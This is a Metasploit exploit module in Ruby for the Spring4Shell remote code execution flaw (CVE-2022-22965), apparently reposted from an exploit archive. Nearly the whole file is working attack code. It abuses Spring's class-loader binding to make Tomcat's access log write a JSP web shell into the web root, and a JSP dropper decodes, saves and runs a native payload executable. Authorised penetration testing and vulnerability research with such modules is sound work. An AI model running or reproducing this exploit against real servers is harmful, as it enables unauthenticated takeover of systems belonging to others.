## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Spring Framework Class property RCE (Spring4Shell)', 'Description' => %q{ Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable to remote code execution due to an unsafe data binding used to populate an object from request parameters to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following: class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can gain remote code execution. }, 'Author' => [ 'vleminator ' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-22965'], ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'], ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'], ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965'] ], 'Platform' => %w{ linux win }, 'Payload' => { 'Space' => 5000, 'DisableNops' => true }, 'Targets' => [ ['Java', { 'Arch' => ARCH_JAVA, 'Platform' => %w{ linux win } }, ], ['Linux', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'linux' } ], ['Windows', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Mar 31 2022', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to the application action', "/app/example/HelloWorld.action"]), OptString.new('FILEDROPPERDIR', [ false, 'The directory used for filedropper (only applicable to non-Java target)', "/tmp/"]), ], self.class) end def jsp_dropper(file, exe) # # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9. # dropper = <<-eos <%@ page import=\"java.io.FileOutputStream\" %> <%@ page import=\"java.util.Base64\" %> <%@ page import=\"java.io.File\" %> <% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\")); oFile.flush(); oFile.close(); File f = new File(\"#{file}\"); f.setExecutable(true); Runtime.getRuntime().exec(\"#{file}\"); %> eos dropper end def dump_line(uri, cmd = "") res = send_request_cgi({ 'uri' => uri+cmd, 'version' => '1.1', 'method' => 'GET', }) res end def modify_class_loader(opts) cl_prefix = "class.module.classLoader" # case datastore['STRUTS_VERSION'] # when '1.x' then "class.classLoader" # when '2.x' then "class['classLoader']" # end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method' => 'POST', 'headers' => { "c1" => "<%", # %{c1}i replacement in payload "c2" => "%>", # %{c2}i replacement in payload }, 'vars_post' => { "#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload], "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory], "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix], "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix], "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] } }) res end def check_log_file(hint) uri = normalize_uri("/", @jsp_file) print_status("#{peer} - Waiting for the server to flush the logfile") 10.times do |x| select(nil, nil, nil, 2) # Now make a request to trigger payload vprint_status("#{peer} - Countdown #{10-x}...") res = dump_line(uri) # Failure. The request timed out or the server went away. fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? # Success if the server has flushed all the sent commands to the jsp file if res.code == 200 print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}") return true end end false end # Fix the JSP payload to make it valid once is dropped # to the log file def fix(jsp) output = "" jsp.each_line do |l| if l =~ /<%.*%>/ output << l elsif l =~ /<%/ next elsif l.chomp.empty? next else output << "<% #{l.chomp} %>" end end output end def create_jsp if target['Arch'] == ARCH_JAVA jsp = fix(payload.encoded) else payload_exe = generate_payload_exe payload_file = rand_text_alphanumeric(4 + rand(4)) payload_dir = datastore['FILEDROPPERDIR'] jsp = jsp_dropper(payload_dir + payload_file, payload_exe) register_files_for_cleanup(payload_dir + payload_file) end jsp end def check prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) @jsp_file = prefix_jsp + date_format + ".jsp" status = CheckCode::Safe # Prepare the JSP print_status("#{peer} - Generating JSP...") # Modify the Class Loader print_status("#{peer} - Modifying Class Loader...") properties = { :payload => prefix_jsp, :directory => 'webapps/ROOT', :prefix => prefix_jsp, :suffix => '.jsp', :file_date_format => date_format } res = modify_class_loader(properties) unless res fail_with(Failure::TimeoutExpired, "#{peer} - No answer") end # No matter what happened, try to 'restore' the Class Loader properties = { :payload => '', :directory => '', :prefix => '', :suffix => '', :file_date_format => '' } modify_class_loader(properties) # Check if the log file exists and has been flushed if check_log_file(normalize_uri(target_uri.to_s)) register_files_for_cleanup(@jsp_file) status = CheckCode::Vulnerable else fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end return status end def exploit prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) @jsp_file = prefix_jsp + date_format + ".jsp" # Prepare the JSP print_status("#{peer} - Generating JSP...") jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i') # Modify the Class Loader print_status("#{peer} - Modifying Class Loader...") properties = { :payload => jsp, :directory => 'webapps/ROOT', :prefix => prefix_jsp, :suffix => '.jsp', :file_date_format => date_format } res = modify_class_loader(properties) unless res fail_with(Failure::TimeoutExpired, "#{peer} - No answer") end # No matter what happened, try to 'restore' the Class Loader properties = { :payload => '', :directory => '', :prefix => '', :suffix => '', :file_date_format => '' } modify_class_loader(properties) # Check if the log file exists and has been flushed if check_log_file(normalize_uri(target_uri.to_s)) register_files_for_cleanup(@jsp_file) else fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end end end # 0day.today [2022-03-31] #